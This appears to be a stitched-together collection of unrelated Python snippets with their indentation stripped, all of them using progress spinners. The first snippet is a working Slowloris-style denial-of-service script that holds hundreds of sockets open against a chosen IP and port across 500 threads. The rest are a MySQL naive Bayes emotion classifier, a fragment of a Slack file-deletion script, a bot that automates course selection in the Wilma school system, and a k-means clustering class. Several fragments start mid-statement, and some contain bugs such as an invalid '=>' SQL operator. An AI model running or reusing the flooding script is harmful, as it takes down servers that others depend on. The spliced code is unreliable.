def main():
if len(sys.argv) < 5:
print(
colored(
"Kullanım-usage:{} <socket count> <timer> <ip> <port> ",
"cyan").format(sys.argv[0]))
return
elif len(sys.argv) > 5:
print(colored("Yanlış parametre girdiniz", "red"))
sys.exit()
socket_count = int(sys.argv[1])
timer = int(sys.argv[2])
ip = sys.argv[3]
port = sys.argv[4]
pie = PieSpinner()
for _ in range(int(socket_count)):
try:
soket = socket_info(ip, port)
except socket.error:
break
sockets.append(soket)
pie.next()
os.system("clear")
def attack_start():
while True:
print(colored("atak sürüyor....", "yellow"))
print(colored("*", "red"))
print(
colored("soket sayısı: {}".format(len(sockets)),
"magenta"))
print("")
for soket in sockets:
try:
soket.send("X-a {}\r\n".format(random.randint(
1, 2000)).encode('UTF-8'))
except socket.error:
sockets.remove(soket)
for _ in range(socket_count - len(sockets)):
print(colored("...".format("\n"), "cyan"))
try:
soket = socket_info(ip, port)
if soket:
sockets.append(soket)
except socket.error:
break
time.sleep(timer)
for i in range(500):
thread = threading.Thread(target=attack_start)
thread.start()
if __name__ == "__main__":
attack_start()
def count_probs():
try:
dbconfig = read_db_config()
conn = MySQLConnection(**dbconfig)
cursor = conn.cursor(buffered=True)
cursor.execute("SELECT * FROM dictionary")
results = cursor.fetchall()
cursor.execute("SELECT * FROM meta_class")
classes = cursor.fetchall()
joy = float(classes[0][2])
fear = float(classes[1][2])
anger = float(classes[2][2])
sad = float(classes[3][2])
disgust = float(classes[4][2])
shame = float(classes[5][2])
spinner = PieSpinner('\nCounting Probabilities :: ')
for res in results:
# print(res[1])
spinner.next()
total_occurences = res[2] + res[3] + res[4] + res[5] + res[
6] + res[7]
# if total_occurences < 10:
# print(res)
joy_probs = res[2] / joy
fear_probs = res[3] / fear
anger_probs = res[4] / anger
sad_probs = res[5] / sad
disgust_probs = res[6] / disgust
shame_probs = res[7] / shame
cursor.execute("UPDATE dictionary SET joy_probs=%(joy)s, fear_probs=%(fear)s, anger_probs=%(anger)s, sadness_probs=%(sad)s, \
disgust_probs=%(disgust)s, shame_probs=%(shame)s WHERE id=%(target)s" , {'joy':joy_probs, \
'fear': fear_probs, 'anger': anger_probs, 'sad': sad_probs, 'disgust': disgust_probs, 'shame': shame_probs, 'target': res[0]})
# classes = ['joy', 'fear', 'anger', 'sadness', 'disgust', 'shame', 'guilt']
except Error as e:
print(e)
finally:
conn.commit()
cursor.close()
conn.close()
spinner.finish()
# return 1
# if __name__ == '__main__':
# count_probs()
(datetime.now() + timedelta(files_age)).utctimetuple()))
data = {"token": _token, "ts_to": date}
response = requests.post(files_list_url, data=data)
response = response.json()
if ("files" in response.keys()):
fileCount = len(response["files"])
else:
print("The following error message was received from SLACK API: " +
str(response['error']))
continue
spinner = PieSpinner()
if (fileCount > 0):
print "Parsing " + str(fileCount) + " files..."
spinner.next()
else:
print "No files older than 10 days found. \r",
spinning = True
while spinning:
if len(response["files"]) == 0:
spinner.finish()
spinning = False
break
elif (whileCount >= fileCount and whileCount > 1):
spinner.finish()
spinning = False
print "We couldn't delete some files posted by other users on private conversations."
break
def count_word_occurences(start, end):
try:
dbconfig = read_db_config()
conn = MySQLConnection(**dbconfig)
cursor = conn.cursor(buffered=True)
cursor.execute("TRUNCATE dictionary")
classes = [1, 2, 3, 4, 5, 6]
spinner = PieSpinner("\nCounting Word Occurences ")
for target in classes:
if start == 1:
cursor.execute(
"SELECT class, sentence FROM data3 WHERE class=%(target)s and id > %(id_target)s",
{
'target': target,
'id_target': end
})
elif end == 7433:
cursor.execute(
"SELECT class, sentence FROM data3 WHERE class=%(target)s and id < %(id_target)s",
{
'target': target,
'id_target': start
})
else:
cursor.execute("SELECT class, sentence FROM data3 WHERE class=%(target)s and (id < %(id_start)s or id > %(id_end)s)", {'target': target,\
'id_start': start, 'id_end': end})
class_documents = cursor.fetchall()
for row in class_documents:
check = False
sentence = row[1].split(' ')
for word in sentence:
spinner.next()
if len(word) > 0:
if row[0] == '1':
cursor.execute(
"SELECT word, joy_occurences from dictionary WHERE word=%(target)s",
{'target': word})
elif row[0] == '2':
cursor.execute(
"SELECT word, fear_occurences from dictionary WHERE word=%(target)s",
{'target': word})
elif row[0] == '3':
cursor.execute(
"SELECT word, anger_occurences from dictionary WHERE word=%(target)s",
{'target': word})
elif row[0] == '4':
cursor.execute(
"SELECT word, sadness_occurences from dictionary WHERE word=%(target)s",
{'target': word})
elif row[0] == '5':
cursor.execute(
"SELECT word, disgust_occurences from dictionary WHERE word=%(target)s",
{'target': word})
elif row[0] == '6':
cursor.execute(
"SELECT word, shame_occurences from dictionary WHERE word=%(target)s",
{'target': word})
check_word = cursor.fetchone()
if check_word != None:
result = check_word[1] + 1
if row[0] == '1':
cursor.execute(
"UPDATE dictionary SET joy_occurences=%(number)s WHERE word=%(target)s",
{
'number': result,
'target': word
})
# cursor.execute("SELECT word, joy_occurences from dictionary WHERE word=%(target)s", {'target':word})
elif row[0] == '2':
cursor.execute(
"UPDATE dictionary SET fear_occurences=%(number)s WHERE word=%(target)s",
{
'number': result,
'target': word
})
# cursor.execute("SELECT word, fear_occurences from dictionary WHERE word=%(target)s", {'target':word})
elif row[0] == '3':
cursor.execute(
"UPDATE dictionary SET anger_occurences=%(number)s WHERE word=%(target)s",
{
'number': result,
'target': word
})
# cursor.execute("SELECT word, anger_occurences from dictionary WHERE word=%(target)s", {'target':word})
elif row[0] == '4':
cursor.execute(
"UPDATE dictionary SET sadness_occurences=%(number)s WHERE word=%(target)s",
{
'number': result,
'target': word
})
# cursor.execute("SELECT word, sadness_occurences from dictionary WHERE word=%(target)s", {'target':word})
elif row[0] == '5':
cursor.execute(
"UPDATE dictionary SET disgust_occurences=%(number)s WHERE word=%(target)s",
{
'number': result,
'target': word
})
# cursor.execute("SELECT word, disgust_occurences from dictionary WHERE word=%(target)s", {'target':word})
elif row[0] == '6':
cursor.execute(
"UPDATE dictionary SET shame_occurences=%(number)s WHERE word=%(target)s",
{
'number': result,
'target': word
})
# cursor.execute("SELECT word, shame_occurences from dictionary WHERE word=%(target)s", {'target':word})
else:
if row[0] == '1':
cursor.execute(
"INSERT INTO dictionary(word, joy_occurences) VALUES(%(target)s, 1)",
{'target': word})
elif row[0] == '2':
cursor.execute(
"INSERT INTO dictionary(word, fear_occurences) VALUES(%(target)s, 1)",
{'target': word})
elif row[0] == '3':
cursor.execute(
"INSERT INTO dictionary(word, anger_occurences) VALUES(%(target)s, 1)",
{'target': word})
elif row[0] == '4':
cursor.execute(
"INSERT INTO dictionary(word, sadness_occurences) VALUES(%(target)s, 1)",
{'target': word})
elif row[0] == '5':
cursor.execute(
"INSERT INTO dictionary(word, disgust_occurences) VALUES(%(target)s, 1)",
{'target': word})
elif row[0] == '6':
cursor.execute(
"INSERT INTO dictionary(word, shame_occurences) VALUES(%(target)s, 1)",
{'target': word})
except Error as e:
print(e)
finally:
conn.commit()
cursor.close()
conn.close()
spinner.finish()
# if __name__ == '__main__':
# count_word_occurences(5, 10)
def count_class_word(start, end):
try:
dbconfig = read_db_config()
conn = MySQLConnection(**dbconfig)
cursor = conn.cursor(buffered=True)
cursor.execute("TRUNCATE meta_class")
# classes = ['joy', 'fear', 'anger', 'sadness', 'disgust', 'shame']
classes = [1, 2, 3, 4, 5, 6]
i = 1
class_count = [0, 0, 0, 0, 0, 0, 0]
spinner = PieSpinner('\nCounting Class Word :: ')
for target in classes:
text_list = []
# cursor.execute("SELECT class,SIT FROM data3 WHERE class=%(mytarget)s and id < 7001", {'mytarget': target})
if start == 1:
cursor.execute(
"SELECT class, sentence FROM data3 WHERE class=%(target)s and id > %(id_target)s",
{
'target': target,
'id_target': end
})
elif end == 7433:
cursor.execute(
"SELECT class, sentence FROM data3 WHERE class=%(target)s and id < %(id_target)s",
{
'target': target,
'id_target': start
})
else:
cursor.execute("SELECT class, sentence FROM data3 WHERE class=%(target)s and (id < %(id_start)s or id > %(id_end)s)", {'target': target,\
'id_start': start, 'id_end': end})
result = cursor.fetchall()
for res in result:
words = res[1].split(' ')
for word in words:
if word not in text_list and len(word) > 0:
# print(word)
text_list.append(word)
spinner.next()
class_count[i] = len(text_list)
cursor.execute(
"INSERT INTO meta_class values(%(id)s, %(class)s, %(word)s)", {
'id': i,
'class': classes[i - 1],
'word': len(text_list)
})
i += 1
spinner.finish()
# print(class_count)
# break
except Error as e:
print(e)
finally:
conn.commit()
cursor.close()
conn.close()
return 1
# if __name__ == '__main__':
# process_words()
def magic():
global wilma_url
clearScreen()
custom_url = input(
f"Käytetään wilma-osoitetta \"{wilma_url}\".\nPaina Enter jos tämä kelpaa. Jos ei kelpaa, kirjoita oma: "
)
if custom_url.strip() != "":
wilma_url = custom_url
clearScreen()
print(colored("Sinun on kirjauduttava Wilmaan!", "yellow"))
username = input("Käyttäjätunnuksesi: ").strip()
password = getpass(prompt="Salasanasi: ")
clearScreen()
with requests.Session() as r:
spinner = Spinner("Kirjaudutaan... ")
g = r.get(wilma_url)
spinner.next()
soup = bs(g.text, "html.parser")
spinner.next()
token = soup.select_one("input[name=SESSIONID]").get("value")
spinner.next()
data = {
"Login": username,
"Password": password,
"SESSIONID": token,
}
p = r.post(f"{wilma_url}/login", data=data)
if "loginfailed" in p.url:
print(colored("\nKirjautuminen epäonnistui", "red"))
exit()
spinner.next()
spinner.finish()
print(colored("Kirjautuminen onnistui!\n", "green"))
try:
spinner = Spinner("Hankitaan API-tokeni... ")
g = r.get(wilma_url)
spinner.next()
soup = bs(g.text, "html.parser")
spinner.next()
token = soup.select_one("input[name=formkey]").get("value")
spinner.next()
spinner.finish()
print(colored("Tokeni löytyi!\n", "green"))
except:
print(colored("Tokenin haku mokas.", "red"))
exit()
g = r.get(f"{wilma_url}/selection/view")
soup = bs(g.text, "html.parser")
parent = soup.select_one("#own-schools")
years = []
for index, child in enumerate(parent.find_all("h4")):
years.append({
"title":
child.text.strip(),
"periods": [
link["href"]
for link in parent.find_all("ul")[index].find_all("a")
]
})
selection_menu = SelectionMenu(
[year["title"] for year in years],
"Lukuvuosi",
"Valitse oikea lukuvuosi, josta löytyy haluamasi kurssit.",
show_exit_option=False)
selection_menu.show()
periods = years[selection_menu.selected_option]["periods"]
master = tk.Tk()
master.resizable(False, False)
master.title('Haluamasi kurssit')
master.eval('tk::PlaceWindow . center')
def getInput():
globals()["courses_input"] = textarea.get("1.0", "end-1c")
master.after(1, master.destroy())
title = tk.Label(
master,
text=
"Liitä tähän kaikki haluamasi kurssit.\nVoit erottaa ne miten tahansa (pilkut, rivivälit, jne.)"
)
title.grid(row=0, column=0)
textarea = tk.Text(master, height=30, width=38)
textarea.grid(row=1, column=0)
btn = tk.Button(master,
text="Done.",
justify="center",
command=getInput)
btn.grid(row=2, column=0)
master.mainloop()
course_regex = r"([A-z0-9öÖäÄåÅ]+[\.0-9]+)"
courses = [
course.group(0)
for course in re.finditer(course_regex,
globals()["courses_input"], re.MULTILINE)
]
courses = [{
"name": course,
"id": "",
"selected": False
} for course in courses]
print(colored(f"{len(courses)} kurssin nimeä tunnistettu", "green"))
bar = ShadyBar("Etsitään kurssit",
max=(len(courses) * len(periods)),
suffix="%(percent)d%%")
for period in periods:
g = r.get(f"{wilma_url}/selection/{period}")
soup = bs(g.text, "html.parser")
for course in courses:
try:
id = soup.find("a", string=course["name"])["href"]
course["id"] = id
except:
pass
finally:
bar.next()
failed = list(filter(lambda course: course["id"] == "", courses))
success = list(filter(lambda course: course["id"] != "", courses))
bar.finish()
if len(failed) != 0:
print(colored("Nämä kurssit eivät löytyneet:", "red"))
for fail in failed:
print(fail["name"])
cont = input(
"\nJatketaanko silti?\nPaina Enter jatkakseen ja jotain muuta lopetakseen: "
)
if cont != "":
print(colored("\nOhjelma suljetaan.", "red"))
exit()
else:
print(
colored(f"Kaikki {len(success)} kurssia löydetty!\n", "green"))
thetime = input(
"\nMihin aikaan kurssivalinnat alkavat?\nJos haluat, että kurssit valitaan heti, paina Enter.\nMuuten, kirjoita muodossa \"16.00\": "
)
if thetime.strip() != "":
(hours, minutes) = [
int(t) for t in thetime.strip().replace(".", ":").split(":")
]
fire = datetime.datetime.now().replace(hour=hours,
minute=minutes,
second=1)
print(colored(f"Nyt odotetaan {thetime} asti...\n", "green"))
pause.until(fire)
else:
print(colored("Aloitetaan heti!\n", "green"))
time.sleep(0.5)
clearScreen()
start = time.time()
bar = ShadyBar("Valitaan kurssit", max=(len(success)))
with ThreadPoolExecutor(max_workers=30) as ex:
futures = [
ex.submit(
select, r, {
"message": "pick-group",
"target": course["id"],
"formkey": token,
}) for course in success
]
for fut in as_completed(futures):
fut.result()
bar.next()
bar.finish()
print(
colored(
"Kaikki kurssit valittu {0:0.1f} sekunnissa.".format(
time.time() - start), "green"))
class K_means:
centroidList = []
docCluster = {}
oldDocCluster = {}
docVector = {}
docsJson={}
def __init__(self):
# CLUSTER_NUM = k
self.progress_bar = PieSpinner('Clustering')
def initCentroid(self, k):
self.centroidList = []
visitedDoc = []
while len(self.centroidList) < k:
r = random.choice(list(self.docVector.keys()))
if r not in visitedDoc:
visitedDoc.append(r)
v = Vector(self.docVector[r].dict.copy())
# v.dict = self.docVector[r].dict.copy()
self.centroidList.append(v)
def nearestCentroid(self, docID):
similarities = [u.sim(self.docVector[docID]) for u in self.centroidList]
return max(enumerate(similarities), key=itemgetter(1))[0]
def updateCentroid(self):
k = len(self.centroidList)
self.centroidList.clear()
numberOfDoc = []
for i in range(0, k):
self.centroidList.append(Vector())
numberOfDoc.append(0)
for d in self.docVector.keys():
c = self.docCluster[d]
numberOfDoc[c] += 1
for t in self.docVector[d].dict.keys():
if t in self.centroidList[c].dict.keys():
self.centroidList[c].dict[t] += self.docVector[d].dict[t]
else:
self.centroidList[c].dict[t] = self.docVector[d].dict[t]
for c in range(0, len(self.centroidList)):
for v in self.centroidList[c].dict.values():
v /= numberOfDoc[c]
def J(self):
j = 0
for d in self.docCluster.keys():
j += self.docVector[d].distance2(self.centroidList[self.docCluster[d]])
return j
def terminateCondition(self):
if len(self.oldDocCluster) == 0:
return False
for id in self.docCluster:
if self.docCluster[id] != self.oldDocCluster[id]:
return False
return True
def findCandidateText(self, k):
terms = []
m = [[] for x in range(len(self.centroidList))]
for d in self.docVector.values():
for t in d.dict.keys():
if t not in terms:
terms.append(t)
for c in range(len(self.centroidList)):
m[c].append(self.I(t, c))
result = []
for d in m:
z = list(zip(d,terms))
z.sort(key = lambda x:x[0],reverse=True)
# d.sort(reverse=True)
result.append(list(map(lambda x: x[1], z[:k])))
return result
def I(self, term, cluster):
n = len(self.docVector)
n00 = n10 = n11 = n01 = 0
for id in self.docVector:
if self.docCluster[id] == cluster:
if term in self.docVector[id].dict.keys():
n11 += 1
else:
n01 += 1
else:
if term in self.docVector[id].dict.keys():
n10 += 1
else:
n00 += 1
n1_ = n10 + n11
n_1 = n01 + n11
n0_ = n00 + n01
n_0 = n00 + n10
# #print('cluster : '+cluster.__str__())
# #print('n00 = ',n00)
# #print('n01 = ', n01)
# #print('n10 = ',n10)
# #print('n11 = ', n11)
a1 = n11 / n * log2(n * n11 / (n1_ * n_1)) if n11 != 0 else 0
a2 = n01 / n * log2(n * n01 / (n0_ * n_1)) if n01 != 0 else 0
a3 = n10 / n * log2(n * n10 / (n1_ * n_0)) if n10 != 0 else 0
a4 = n00 / n * log2(n * n00 / (n0_ * n_0)) if n00 != 0 else 0
return a1 +a2 + a3 + a4
def clusterDocs(self):
api = TermVectorAPI(ELASTIC_URL)
#print('start read files')
for file in map(lambda x: os.path.join(CLUSTER_SOURCE_DIRECTORY,x),list_files(CLUSTER_SOURCE_DIRECTORY, '*.json')):
with open(file, 'r') as readFile:
doc = json.load(readFile)
self.docsJson[doc['id']]= doc
self.docVector[doc['id']] = Vector(api.get_term_vector(INDEX_NAME, DOCUMENT_TYPE, doc['id']))
#print('read all files successfully')
#print('start init centroid')
self.initCentroid(CLUSTER_NUM)
#print('end init centroid')
while True:
self.oldDocCluster = self.docCluster.copy()
self.docCluster = {}
for docID in self.docsJson.keys():
self.docCluster[docID] = self.nearestCentroid(docID)
self.updateCentroid()
self.progress_bar.next()
#print('one step clustring')
if (self.terminateCondition()):
self.progress_bar.finish()
break
#print('converge clustring')
print('K = ',CLUSTER_NUM,' J = ',self.J())
candids = self.findCandidateText(CLUSTER_CANDIDATE_TEXT_LEN)
#print('calc candid')
c = [[] for x in range(len(self.centroidList))]
for d in self.docCluster.keys():
c[self.docCluster[d]].append(d)
#print('start save result')
os.makedirs(CLUSTER_DESTINATION_DIRECTORY, exist_ok=True)
os.makedirs(CLUSTER_CANDIDATE_TEXT_DIRECTORY, exist_ok=True)
for i in range(len(self.centroidList)):
res = {}
res['id'] = i
res['name'] = candids[i]
res['pages'] = c[i]
fileName = i.__str__()+'.json'
print('Cluster {}: {}\tnumber of docs: {}', i, ' '.join(candids[i]), len(c[i]))
#print(res)
with open(os.path.join(CLUSTER_CANDIDATE_TEXT_DIRECTORY, fileName), 'w') as outfile:
json.dump(res, outfile)
for id in self.docsJson.keys():
self.docsJson[id]['cluster'] = self.docCluster[id]
file_name = '{}.json'.format(id)
with open(os.path.join(CLUSTER_DESTINATION_DIRECTORY , file_name), 'w') as outfile:
json.dump(self.docsJson[id], outfile)
def test_naive_bayes(start, end):
try:
dbconfig = read_db_config()
conn = MySQLConnection(**dbconfig)
cursor = conn.cursor(buffered=True)
cursor.execute("select count(id) as total from data3 group by class")
total_class = cursor.fetchall()
joy = float(total_class[0][0])
fear = float(total_class[0][0])
anger = float(total_class[0][0])
disgust = float(total_class[0][0])
sad = float(total_class[0][0])
shame = float(total_class[0][0])
cursor.execute("SELECT words FROM meta_class")
class_word = cursor.fetchall()
word_each_class = [
class_word[0][0], class_word[1][0], class_word[2][0],
class_word[3][0], class_word[4][0], class_word[5][0]
]
# class_list = [classes[0].split(' ')[0], classes[1].split(' ')[0], classes[2].split(' ')[0], \
# classes[3].split(' ')[0], classes[4].split(' ')[0], classes[5].split(' ')[0]]
class_list = ['1', '2', '3', '4', '5', '6']
if start == 1:
cursor.execute("SELECT * FROM data3 WHERE id <= %(id_target)s",
{'id_target': end})
elif end == 7433:
cursor.execute("SELECT * FROM data3 WHERE id => %(id_target)s",
{'id_target': start})
else:
cursor.execute(
"SELECT * FROM data3 WHERE id >= %(id_start)s and id <= %(id_end)s",
{
'id_start': start,
'id_end': end
})
# cursor.execute("SELECT * FROM data WHERE id > 7600")
results = cursor.fetchall()
results_amount = len(results)
# cursor.execute("SELECT COUNT(*) FROM data2 WHERE id > 7600")
# results_amount = cursor.fetchone()
# results_amount = results_amount[0]
true_amount = 0
# test_amount = 0
print results_amount
cursor.execute("SELECT * from data3")
print("start :: " + str(start))
print("end :: " + str(end))
total_data = len(cursor.fetchall())
print total_data
total_data = total_data - results_amount
# print total_data
joy_prior_probs = joy / total_data
fear_prior_probs = fear / total_data
anger_prior_probs = anger / total_data
sadness_prior_probs = sad / total_data
disgust_prior_probs = disgust / total_data
shame_prior_probs = shame / total_data
pie = PieSpinner('\nTesting Naive Bayes :: ')
for res in results:
pie.next()
sentence = res[2].split(' ')
joy_x = 1
fear_x = 1
anger_x = 1
sadness_x = 1
disgust_x = 1
shame_x = 1
check = False
for word in sentence:
if word != " ":
check = True
if check and len(word) > 2:
cursor.execute(
"SELECT joy_probs from dictionary WHERE word=%(target)s",
{'target': word})
probs_res = cursor.fetchone()
if (cursor.rowcount > 0 and probs_res[0] > 0):
# print(probs_res[0])
joy_x = joy_x * probs_res[0]
else:
joy_x = joy_x * (float(1) / float(word_each_class[0]))
cursor.execute(
"SELECT fear_probs from dictionary where word=%(target)s",
{'target': word})
probs_res = cursor.fetchone()
if (cursor.rowcount > 0 and probs_res[0] > 0):
fear_x = fear_x * probs_res[0]
else:
fear_x = fear_x * (float(1) /
float(word_each_class[1]))
cursor.execute(
"SELECT anger_probs from dictionary where word=%(target)s",
{'target': word})
probs_res = cursor.fetchone()
if (cursor.rowcount > 0 and probs_res[0] > 0):
anger_x = anger_x * probs_res[0]
else:
anger_x = anger_x * (float(1) /
float(word_each_class[2]))
cursor.execute(
"SELECT sadness_probs from dictionary WHERE word=%(target)s",
{'target': word})
probs_res = cursor.fetchone()
if (cursor.rowcount > 0 and probs_res[0] > 0):
sadness_x = sadness_x * probs_res[0]
else:
sadness_x = sadness_x * (float(1) /
float(word_each_class[3]))
cursor.execute(
"SELECT disgust_probs from dictionary WHERE word=%(target)s",
{'target': word})
probs_res = cursor.fetchone()
if (cursor.rowcount > 0 and probs_res[0] > 0):
disgust_x = disgust_x * probs_res[0]
else:
disgust_x = disgust_x * (float(1) /
float(word_each_class[4]))
cursor.execute(
"SELECT shame_probs from dictionary WHERE word=%(target)s",
{'target': word})
probs_res = cursor.fetchone()
if (cursor.rowcount > 0 and probs_res[0] > 0):
shame_x = shame_x * probs_res[0]
else:
shame_x = shame_x * (float(1) /
float(word_each_class[5]))
# break
check = True
joy_probs = float(joy_x) * joy_prior_probs * 1000000000
fear_probs = float(fear_x) * fear_prior_probs * 1000000000
anger_probs = float(anger_x) * anger_prior_probs * 1000000000
sadness_probs = float(sadness_x) * sadness_prior_probs * 1000000000
disgust_probs = float(disgust_x) * disgust_prior_probs * 1000000000
shame_probs = float(shame_x) * shame_prior_probs * 1000000000
# probs_list = {1: joy_probs, 2: fear_probs, 3: anger_probs, 4: sadness_probs, 5: disgust_probs, 6: shame_probs, 7: guilt_probs}
# print(probs_list[6])
# probs_list = sorted(probs_list.items(), key=operator.itemgetter(1))
# print(probs_list)
probs_list = [
joy_probs, fear_probs, anger_probs, disgust_probs,
sadness_probs, shame_probs
]
# print("\nJoy : {0:.35f},\nFear : {1:.35f}, \nAnger : {2:.35f}, \nDisgust: {3:.35f}, \nSad : {4:.35f}, \nShame : {5:.35f}" \
# .format(joy_probs, fear_probs, anger_probs, disgust_probs, sadness_probs, shame_probs))
prediction = find_max(probs_list)
# print(prediction)
# print("Real Class: %s " % res[1])
# print("Prediction: %s " % class_list[prediction])
if res[1] == class_list[prediction]:
true_amount += 1
# print("\n Real class :: "+str(res[1]))
# print("\n Predicted :: "+str(class_list[prediction]))
# break
accuracy = (float(true_amount) / float(results_amount)) * 100
print("Accuracy : {0:.4f}".format(accuracy))
with open("naive_bayes_result.txt", "a") as out_file:
out_file.write("\nTesting start from " + str(start) + " - " +
str(end))
out_file.write("\nAccuracy : {0:.4f}".format(accuracy))
out_file.write("\nNumber of predicted :: " + str(true_amount) +
"/" + str(results_amount))
pie.finish()
except Error as e:
print(e)
finally:
cursor.close()
conn.close()